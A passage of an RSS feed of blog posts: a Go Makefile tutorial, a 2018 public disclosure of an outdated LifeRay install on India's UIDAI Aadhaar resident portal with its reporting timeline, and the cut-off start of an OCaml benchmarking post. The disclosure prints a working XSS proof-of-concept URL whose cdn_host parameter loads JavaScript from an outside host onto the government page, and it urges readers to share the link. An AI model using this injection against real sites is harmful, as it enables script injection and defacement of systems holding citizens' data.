To begin with, let’s write a simple rule which removes any tempory object files using go clean and previous binary file using good ol rm:
clean:
	go clean
	rm -f sample.bin
The target here is clean. There is something special going on here though. Imagine we have a file called clean in our source directory? Let us try to run make clean now
Our directory structure:.
├── Makefile
├── clean
└── sample.bin
On running make clean:
make: `clean' is up to date.
Every target in Makefile by default is a file target. In our case clean is a file target and make tries to build this file clean but since we already have a file with the same name clean in our directory, make is complaining there’s nothing to do.
Moreover, in this case our rule is more of an action rather than building files. So for all such scenarios, make provides an easy way where we can instruct it to just run the rule and ignore any filename in our directory. This is called a PHONY target which is a special kind of target. PHONY is just a way in make to forcefully run a target and not care about generating files. Our aim with this rule is to run 2 commands and that’s about it. So this is the perfect example for using PHONY.
We can add .PHONY target to our Makefile simply by this line:
.PHONY : clean

clean:
	go clean
	rm -f sample.bin

Now when we run make clean we get our expected output
go clean
rm -f sample.bin
Let us extend our Makefile to do some common tasks:
.PHONY : build run fresh test clean

test:
	go test

build:
	go build

run:
	./sample.bin

clean:
	go clean
	rm -f sample.bin
If you have worked on any Golang project, these are very trivial actions on any Golang project. You will soon realise the power of Makefile when you have to do these steps repeatedly. Some people might argue then you can use aliases or simple shell scripts for the same. I vehemently disagree with that. Reason being, make is a much more powerful tool than just running commands. make has support for dependency tracking and it will only rebuild whatever is required. If you are working on a huge project where the build times are to the tune of hours, you will soon realise why shell scripts are inferior. Ofcourse, someone can point that they can write a shell script to do even that, by fetching the last modified time but why do the extra work when there’s an already existing tried and tested tool? make also has support for parallel task execution, so you can just pass the flag -j {num} to make and it will run these {num} jobs parallely. All these benefits will be apparent for larger projects, but it is a good habit to write Makefile even for smaller projects.

We will now make our Makefile a bit more sophisticated and introduce variables. If you want to custom name your binary, or inject variables at compile time, you can declare these variables, for example:
BIN := my-awesome-pro.bin
HASH := $(shell git rev-parse --short HEAD)
COMMIT_DATE := $(shell git show -s --format=%ci ${HASH})
BUILD_DATE := $(shell date '+%Y-%m-%d %H:%M:%S')
VERSION := ${HASH} (${COMMIT_DATE})
We can modify our Makefile to use these variables:
build:
	go build -o ${BIN} -ldflags="-X 'main.buildVersion=${VERSION}' -X 'main.buildDate=${BUILD_DATE}'"

run:
	./${BIN}

test:
	go test

clean:
	go clean
	rm -f ${BIN}
We can auto version our builds and pass variables during the build time with go linker tool, on passing the -X flag. That’s really neat, now whenever we do a make build we get new version of the build automagically.
So now we have a working Makefile which helps us with trivial things, but everytime if we need to change something in our program and check, we still need to do these steps manually: make clean, make build and make run. Won’t it be awesome if we could tell Makefile to do all this with just one command? Programmers are lazy creatures after all .
In the beginning we saw a target is composed of recipe and dependencies. So we can just create a new PHONY target with all these dependencies and any recipe if we want optionally.
fresh: clean build run
We created a new target which depends on clean to run first, then build and finally run. So everytime if we make some change in our Go program, all we need to run is make fresh. Awesome, isn’t it?
We will finally add our last target which is a highly opinionated way of generating binaries for different OS and architectures.
prod:
	goreleaser --rm-dist --snapshot
	cp dist/linux_amd64/${BIN}-linux.bin .
	rm -rf dist
This target runs goreleaser which is a build automation tool. It then copies the required linux binary to the source directory and removes all the other junk.
You can even extend your Makefile to commit files to a repo, and rsync these binaries to the production server or initiate your CI/CD build process. The reason I like Makefile is because it serves as a living documentation for your project on how to build/deploy the project making it easier for new contributors to get started.
Some additional information#
If you run make without passing any target name, make will run the first target present in the Makefile. To override this, you should set .DEFAULT_GOAL setting and override the target which you want to make as default.
.PHONY is just one way to tell make that it is a special kind of target, you can also do the same by creating a target without any recipe. Read this to know more.
To know more about Makefile, you can read the manual here
I hope you now appreciate Makefile and try it out in your next project. I’d love feedback on this blog post, do reach me out at twitter or email
Fin!]]></description>
            <content:encoded><![CDATA[<p>Makefile is an awesome tool to group together a bunch of different rules and automate your build process. Makefile is used by <code>make</code> which is essentially a file generator tool. It is generally used to compile and build programs from source by following <code>rules</code> listed in the Makefile. People use Makefile for a lot of different purposes as well, for example converting <code>md</code> to <code>html</code> and publish these files to the web server.</p>
<p>Every makefile you see, is composed of rules. A <code>rule</code> is declaration of a <code>target</code> and the commands to be executed to generate the target. A target can be a file or an action to be performed (more on that later).</p>
<p>This is how a rule looks like in a Makefile</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">target:</span><span style="color: light-dark(#032F62, #96D0FF);"> dependencies</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    recipe</span></span></code></pre>
<p>When you run <code>make target</code>, <code>make</code> searches for the rule which begins with this <code>target</code> and executes the dependecies (if required). It then runs a bunch of commands which are listed in the recipe. An important thing to understand here is that <code>make</code> tracks the dependencies by their last modified time. So if the dependencies haven’t changed, then make will complain with <code>make: 'target' is up to date.</code></p>
<p>Enough of theory, let’s get our feet wet by writing our first Makefile. One important thing about <code>Makefile</code> is that you need to use <code>tabs</code> and not <code>spaces</code>. It is one of the rare <code>*nix</code> programs which is whitespace aware and this has been mentioned in <a rel="external" href="https://en.wikipedia.org/wiki/The_Unix-Haters_Handbook">The Unix-Haters Handbook</a> as well.</p>
<p>To begin with, let’s write a simple rule which removes any tempory object files using <code>go clean</code> and previous binary file using good ol <code>rm</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">clean:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> sample.bin</span></span></code></pre>
<p>The <code>target</code> here is <code>clean</code>. There is something special going on here though. Imagine we have a file called <code>clean</code> in our source directory? Let us try to run <code>make clean</code> now
Our directory structure:.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>├── Makefile</span></span>
<span class="giallo-l"><span>├── clean</span></span>
<span class="giallo-l"><span>└── sample.bin</span></span></code></pre>
<p>On running <code>make clean</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>make: `clean&#39; is up to date.</span></span></code></pre>
<p>Every target in Makefile by default is a <code>file target</code>. In our case <code>clean</code> is a file target and <code>make</code> tries to build this file <code>clean</code> but since we already have a file with the same name <code>clean</code> in our directory, <code>make</code> is complaining there’s nothing to do.</p>
<p>Moreover, in this case our rule is more of an <code>action</code> rather than building files. So for all such scenarios, <code>make</code> provides an easy way where we can instruct it to just run the rule and ignore any filename in our directory. This is called a <code>PHONY</code> target which is a special kind of target. <code>PHONY</code> is just a way in <code>make</code> to forcefully run a target and not care about generating files. Our aim with this rule is to run 2 commands and that’s about it. So this is the perfect example for using <code>PHONY</code>.
We can add <code>.PHONY</code> target to our Makefile simply by this line:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">.PHONY</span><span style="color: light-dark(#032F62, #96D0FF);"> :</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">clean:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> sample.bin</span></span>
<span class="giallo-l"></span></code></pre>
<p>Now when we run <code>make clean</code> we get our expected output</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>go clean</span></span>
<span class="giallo-l"><span>rm -f sample.bin</span></span></code></pre>
<p>Let us extend our Makefile to do some common tasks:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">.PHONY</span><span style="color: light-dark(#032F62, #96D0FF);"> :</span><span style="color: light-dark(#032F62, #96D0FF);"> build</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> fresh</span><span style="color: light-dark(#032F62, #96D0FF);"> test</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">test</span><span style="color: light-dark(#032F62, #96D0FF);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> test</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">build:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> build</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">run:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	./sample.bin</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">clean:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> sample.bin</span></span></code></pre>
<p>If you have worked on any Golang project, these are very trivial actions on any Golang project. You will soon realise the power of Makefile when you have to do these steps repeatedly. Some people might argue then you can use aliases or simple shell scripts for the same. I vehemently disagree with that. Reason being, <code>make</code> is a much more powerful tool than just running commands. <code>make</code> has support for dependency tracking and it will only rebuild whatever is required. If you are working on a huge project where the build times are to the tune of hours, you will soon realise why shell scripts are inferior. Ofcourse, someone can point that they can write a shell script to do even that, by fetching the last modified time but why do the extra work when there’s an already existing tried and tested tool? <code>make</code> also has support for parallel task execution, so you can just pass the flag <code>-j {num}</code> to <code>make</code> and it will run these {num} jobs parallely. All these benefits will be apparent for larger projects, but it is a good habit to write Makefile even for smaller projects.</p>
<p><img src="https://imgs.xkcd.com/comics/compiling.png" alt="#1 Excuse" title="Look Ma! Code is compiling" /></p>
<p>We will now make our Makefile a bit more sophisticated and introduce variables. If you want to custom name your binary, or <a rel="external" href="https://blog.cloudflare.com/setting-go-variables-at-compile-time/">inject variables at compile time</a>, you can declare these variables, for example:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">BIN</span><span style="color: light-dark(#032F62, #96D0FF);"> :=</span><span style="color: light-dark(#032F62, #96D0FF);"> my-awesome-pro.bin</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">HASH</span><span style="color: light-dark(#032F62, #96D0FF);"> :=</span><span> $(</span><span style="color: light-dark(#6F42C1, #F69D50);">shell</span><span style="color: light-dark(#032F62, #96D0FF);"> git</span><span style="color: light-dark(#032F62, #96D0FF);"> rev-parse</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-short</span><span style="color: light-dark(#032F62, #96D0FF);"> HEAD</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">COMMIT_DATE</span><span style="color: light-dark(#032F62, #96D0FF);"> :=</span><span> $(</span><span style="color: light-dark(#6F42C1, #F69D50);">shell</span><span style="color: light-dark(#032F62, #96D0FF);"> git</span><span style="color: light-dark(#032F62, #96D0FF);"> show</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">s</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-format=%ci</span><span> $</span><span>{</span><span>HASH</span><span>}</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">BUILD_DATE</span><span style="color: light-dark(#032F62, #96D0FF);"> :=</span><span> $(</span><span style="color: light-dark(#6F42C1, #F69D50);">shell</span><span style="color: light-dark(#032F62, #96D0FF);"> date</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">+%Y-%m-%d %H:%M:%S</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">VERSION</span><span style="color: light-dark(#032F62, #96D0FF);"> :=</span><span> $</span><span>{</span><span>HASH</span><span>}</span><span> ($</span><span>{</span><span style="color: light-dark(#6F42C1, #F69D50);">COMMIT_DATE}</span><span>)</span></span></code></pre>
<p>We can modify our Makefile to use these variables:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">build:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> build</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">o</span><span> $</span><span>{</span><span>BIN</span><span>}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">ldflags=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-X &#39;main.buildVersion=</span><span style="color: light-dark(#032F62, #96D0FF);">$</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span>VERSION</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39; -X &#39;main.buildDate=</span><span style="color: light-dark(#032F62, #96D0FF);">$</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span>BUILD_DATE</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">run:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	./$</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">B</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">test</span><span style="color: light-dark(#032F62, #96D0FF);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> test</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">clean:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	go</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span> $</span><span>{</span><span>BIN</span><span>}</span></span></code></pre>
<p>We can auto version our builds and pass variables during the build time with go linker tool, on passing the <code>-X</code> flag. That’s really neat, now whenever we do a <code>make build</code> we get new version of the build automagically.</p>
<p>So now we have a working Makefile which helps us with trivial things, but everytime if we need to change something in our program and check, we still need to do these steps manually: <code>make clean</code>, <code>make build</code> and <code>make run</code>. Won’t it be awesome if we could tell Makefile to do all this with just one command? Programmers are lazy creatures after all <i class="em em-smiley"></i>.</p>
<p>In the beginning we saw a target is composed of recipe and dependencies. So we can just create a new <code>PHONY</code> target with all these dependencies and any recipe if we want optionally.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">fresh:</span><span style="color: light-dark(#032F62, #96D0FF);"> clean</span><span style="color: light-dark(#032F62, #96D0FF);"> build</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span></span></code></pre>
<p>We created a new <code>target</code> which depends on <code>clean</code> to run first, then <code>build</code> and finally <code>run</code>. So everytime if we make some change in our Go program, all we need to run is <code>make fresh</code>. Awesome, isn’t it?</p>
<p>We will finally add our last target which is a highly opinionated way of generating binaries for different OS and architectures.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">prod:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	goreleaser</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-rm-dist</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-snapshot</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	cp</span><span style="color: light-dark(#032F62, #96D0FF);"> dist/linux_amd64/</span><span>$</span><span>{</span><span>BIN</span><span>}</span><span style="color: light-dark(#032F62, #96D0FF);">-linux.bin</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">rf</span><span style="color: light-dark(#032F62, #96D0FF);"> dist</span></span></code></pre>
<p>This target runs <code>goreleaser</code> which is a build automation tool. It then copies the required linux binary to the source directory and removes all the other junk.</p>
<p>You can even extend your Makefile to commit files to a repo, and rsync these binaries to the production server or initiate your CI/CD build process. The reason I like Makefile is because it serves as a living documentation for your project on how to build/deploy the project making it easier for new contributors to get started.</p>
<h5 id="some-additional-information">Some additional information<a class="zola-anchor" href="#some-additional-information" aria-label="Anchor link for: some-additional-information">#</a></h5>
<ul>
<li>
<p>If you run <code>make</code> without passing any target name, <code>make</code> will run the first target present in the Makefile. To override this, you should set <code>.DEFAULT_GOAL</code> setting and <a rel="external" href="https://www.gnu.org/software/make/manual/html_node/Special-Variables.html#Special-Variables">override the target</a> which you want to make as default.</p>
</li>
<li>
<p><code>.PHONY</code> is just one way to tell <code>make</code> that it is a special kind of target, you can also do the same by creating a target without any recipe. Read <a rel="external" href="https://www.gnu.org/software/make/manual/html_node/Force-Targets.html#Force-Targets">this</a> to know more.</p>
</li>
</ul>
<p>To know more about <code>Makefile</code>, you can read the manual <a rel="external" href="https://www.gnu.org/software/make/manual/make.html">here</a></p>
<p>I hope you now appreciate <code>Makefile</code> and try it out in your next project. I’d love feedback on this blog post, do reach me out at <a rel="external" href="https://twitter.com/mrkaran_">twitter</a> or <a href="mailto:karansharma1295@gmail.com">email</a></p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Aadhaar Vulnerability Public Disclosure]]></title>
            <link>https://captnemo.in/blog/2018/09/15/aadhaar-disclosure/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2018/09/15/aadhaar-disclosure/</guid>
            <pubDate>Sat, 15 Sep 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[The Vulnerability
The UIDAI Resident Portal (with read access to entire Aadhaar Demographic data) is runing a vulnerable version
of LifeRay software. It is running LifeRay 6.1, which was declared End-of-Life in Febrary 2016.
This release includes multiple known vulnerabilities, including:
A XSS issue, for which a PoC can be found at resident.uidai.gov.in (Picture Credits: @sanitarypanels)
Multiple RCEs: See issue-62 for eg.
In fact the release is so old it does not even appear on the “Known Vulnerabilities” page on the LifeRay website; you have to go look at their Archived Vulnerabilities.
The PoC
You can find a simple Proof of Concept for the XSS issue at resident.uidai.gov.in.
The cdn_host parameter injects javascript from $CDN_HOST/Resident-theme/js/custom.js, in this case https://scan.bb8.fun/Resident-theme/js/custom.js which hosts a small snippet to overwrite the HTML of the page.
It shows up like:

Fun
The current script allows for embeding any tweet using a tweet parameter. To embed:
Go to any tweet, copy the part after twitter.com and pass it as the tweet parameter. For eg, to embed this tweet:
Breaking: Exclusive footage from inside @UIDAI's IT department after media reports of Aadhaar data leaks. pic.twitter.com/W7m9L0HvEX
— Aadhaar Compound Wall (@13footwall) March 29, 2018



  
Look at the URL: https://twitter.com/13footwall/status/979301578686345216
Copy 13footwall/status/979301578686345216 and pass it as the tweet parameter:
The URL becomeshttps://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&tweet=13footwall/status/979301578686345216
SHARE IT
The Report
I initially reported this to help@uidai.gov.in in Jan 2017:

Forgot all about it till Jan 2018, when someone mentioned I should try my luck with CERT-IN instead:

Update
There is some confusion regarding which version of LifeRay
is UIDAI running. They seem to be running 6.1.1, released in 2013-02-26.
The exact version is not relevant to the fact that UIDAI is:
running an unsupported release
which is 5 year old
not updating it despite being notified multiple times
0800 16-Sep: UIDAI seems to have patched the issue by putting a block on the cdn_host parameter. This still leaves them vulnerable to multiple vulnerabilities until they update to a supported release.
Timeline
The vulnerability is still not fixed. Here is a complete timeline:
Date
      What?
    
16 Jan 2017
      Initially reported to help@uidai.gov.in. No response
    
21 Jan 2018
      Reported to ceo@uidai.gov.in and info@cert-in.org.in. No response
    
19 Feb 2018
      Reminder sent to ceo@uidai.gov.in and info@cert-in.org.in
    
19 Feb 2018
      Acknowledgement from CERT
    
15 Mar 2018
      Reminder sent. No response
    
17 Mar 2018
      Notified NCIIPC
    
18 Mar 2018
      Confirmation from NCIIPC asking for more details. I replied back with a quote of previous exchange
    
19 Mar 2018
      Confirmation from NCIIPC thanking me for the report.
    
19 Apr 2018
      Reminder sent to UIDAI asking for acknowledgement
    
30 May 2018
      Reminder sent to NCIIPC and CERT asking for updates
    
The only change that I’m aware of since my initial report is that the website stopped declaring the LifeRay version in a HTTP response Header.]]></description>
            <content:encoded><![CDATA[<h1 id="the-vulnerability">The Vulnerability</h1>

<p>The UIDAI Resident Portal (with read access to entire Aadhaar Demographic data) is runing a vulnerable version
of LifeRay software. It is running LifeRay 6.1, which was declared End-of-Life in Febrary 2016.</p>

<p>This release includes multiple known vulnerabilities, including:</p>

<ol>
  <li>A XSS issue, for which a PoC can be found at <a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun">resident.uidai.gov.in</a> (Picture Credits: <a href="https://twitter.com/sanitarypanels">@sanitarypanels</a>)</li>
  <li>Multiple RCEs: See <a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62">issue-62</a> for eg.</li>
</ol>

<p>In fact the release is so old it does not even appear on the <a href="https://portal.liferay.dev/learn/security/known-vulnerabilities">“Known Vulnerabilities”</a> page on the LifeRay website; you have to go look at their <a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62">Archived Vulnerabilities</a>.</p>

<h1 id="the-poc">The PoC</h1>

<p>You can find a simple Proof of Concept for the XSS issue at <a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun">resident.uidai.gov.in</a>.</p>

<p>The <code class="language-plaintext highlighter-rouge">cdn_host</code> parameter injects javascript from <code class="language-plaintext highlighter-rouge">$CDN_HOST/Resident-theme/js/custom.js</code>, in this case <code class="language-plaintext highlighter-rouge">https://scan.bb8.fun/Resident-theme/js/custom.js</code> which hosts a small snippet to overwrite the HTML of the page.</p>

<p>It shows up like:</p>

<p><img src="https://captnemo.in/img/aadhaar1.jpg" alt="" /></p>

<h1 id="fun">Fun</h1>

<p>The current script allows for embeding any tweet using a <code class="language-plaintext highlighter-rouge">tweet</code> parameter. To embed:</p>

<p>Go to any tweet, copy the part after <code class="language-plaintext highlighter-rouge">twitter.com</code> and pass it as the <code class="language-plaintext highlighter-rouge">tweet</code> parameter. For eg, to embed this tweet:</p>

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Breaking: Exclusive footage from inside <a href="https://twitter.com/UIDAI?ref_src=twsrc%5Etfw">@UIDAI</a>&#39;s IT department after media reports of Aadhaar data leaks. <a href="https://t.co/W7m9L0HvEX">pic.twitter.com/W7m9L0HvEX</a></p>&mdash; Aadhaar Compound Wall (@13footwall) <a href="https://twitter.com/13footwall/status/979301578686345216?ref_src=twsrc%5Etfw">March 29, 2018</a></blockquote>


<ol>
  <li>Look at the URL: <code class="language-plaintext highlighter-rouge">https://twitter.com/13footwall/status/979301578686345216</code></li>
  <li>Copy <code class="language-plaintext highlighter-rouge">13footwall/status/979301578686345216</code> and pass it as the <code class="language-plaintext highlighter-rouge">tweet parameter</code>:</li>
  <li>The URL becomes<code class="language-plaintext highlighter-rouge">https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&amp;tweet=13footwall/status/979301578686345216</code></li>
  <li><a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&amp;tweet=13footwall/status/979301578686345216"><strong>SHARE IT</strong></a></li>
</ol>

<h1 id="the-report">The Report</h1>

<p>I initially reported this to <code class="language-plaintext highlighter-rouge">help@uidai.gov.in</code> in Jan 2017:</p>

<p><img src="https://captnemo.in/img/aadhaar-report1.jpg" alt="" /></p>

<p>Forgot all about it till Jan 2018, when someone mentioned I should try my luck with CERT-IN instead:</p>

<p><img src="https://captnemo.in/img/aadhaar-report2.png" alt="" /></p>

<h1 id="update">Update</h1>

<p>There is <a href="https://twitter.com/kingslyj/status/1040985678408871937">some confusion</a> regarding which version of LifeRay
is UIDAI running. They seem to be running 6.1.1, released in 2013-02-26.</p>

<p>The exact version is not relevant to the fact that UIDAI is:</p>

<ul>
  <li>running an unsupported release</li>
  <li>which is 5 year old</li>
  <li>not updating it despite being notified multiple times</li>
</ul>

<p><em>0800 16-Sep</em>: UIDAI seems to have patched the issue by putting a block on the <code class="language-plaintext highlighter-rouge">cdn_host</code> parameter. This still leaves them vulnerable to multiple vulnerabilities until they update to a supported release.</p>

<h1 id="timeline">Timeline</h1>

<p>The vulnerability is still not fixed. Here is a complete timeline:</p>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>What?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>16 Jan 2017</td>
      <td>Initially reported to <code class="language-plaintext highlighter-rouge">help@uidai.gov.in</code>. No response</td>
    </tr>
    <tr>
      <td>21 Jan 2018</td>
      <td>Reported to <code class="language-plaintext highlighter-rouge">ceo@uidai.gov.in</code> and <code class="language-plaintext highlighter-rouge">info@cert-in.org.in</code>. No response</td>
    </tr>
    <tr>
      <td>19 Feb 2018</td>
      <td>Reminder sent to <code class="language-plaintext highlighter-rouge">ceo@uidai.gov.in</code> and <code class="language-plaintext highlighter-rouge">info@cert-in.org.in</code></td>
    </tr>
    <tr>
      <td>19 Feb 2018</td>
      <td>Acknowledgement from CERT</td>
    </tr>
    <tr>
      <td>15 Mar 2018</td>
      <td>Reminder sent. No response</td>
    </tr>
    <tr>
      <td>17 Mar 2018</td>
      <td>Notified <a href="mailto:rvdp@nciipc.gov.in">NCIIPC</a></td>
    </tr>
    <tr>
      <td>18 Mar 2018</td>
      <td>Confirmation from NCIIPC asking for more details. I replied back with a quote of previous exchange</td>
    </tr>
    <tr>
      <td>19 Mar 2018</td>
      <td>Confirmation from NCIIPC thanking me for the report.</td>
    </tr>
    <tr>
      <td>19 Apr 2018</td>
      <td>Reminder sent to UIDAI asking for acknowledgement</td>
    </tr>
    <tr>
      <td>30 May 2018</td>
      <td>Reminder sent to NCIIPC and CERT asking for updates</td>
    </tr>
  </tbody>
</table>

<p>The only change that I’m aware of since my initial report is that the website stopped declaring the <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">LifeRay version in a HTTP response Header</a>.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Continuous Benchmarking & Call for Benchmarks]]></title>
            <link>https://kcsrk.info/multicore/ocaml/benchmarks/2018/09/13/1543-multicore-ci/</link>
            <guid isPermaLink="false">https://kcsrk.info/multicore/ocaml/benchmarks/2018/09/13/1543-multicore-ci/</guid>
            <pubDate>Thu, 13 Sep 2018 15:43:00 GMT</pubDate>
            <description><![CDATA[Over the past few weeks, at OCaml Labs, we’ve deployed
continuous benchmarking infrastructure for Multicore
OCaml. Live results are available
at http://ocamllabs.io/multicore. Continuous
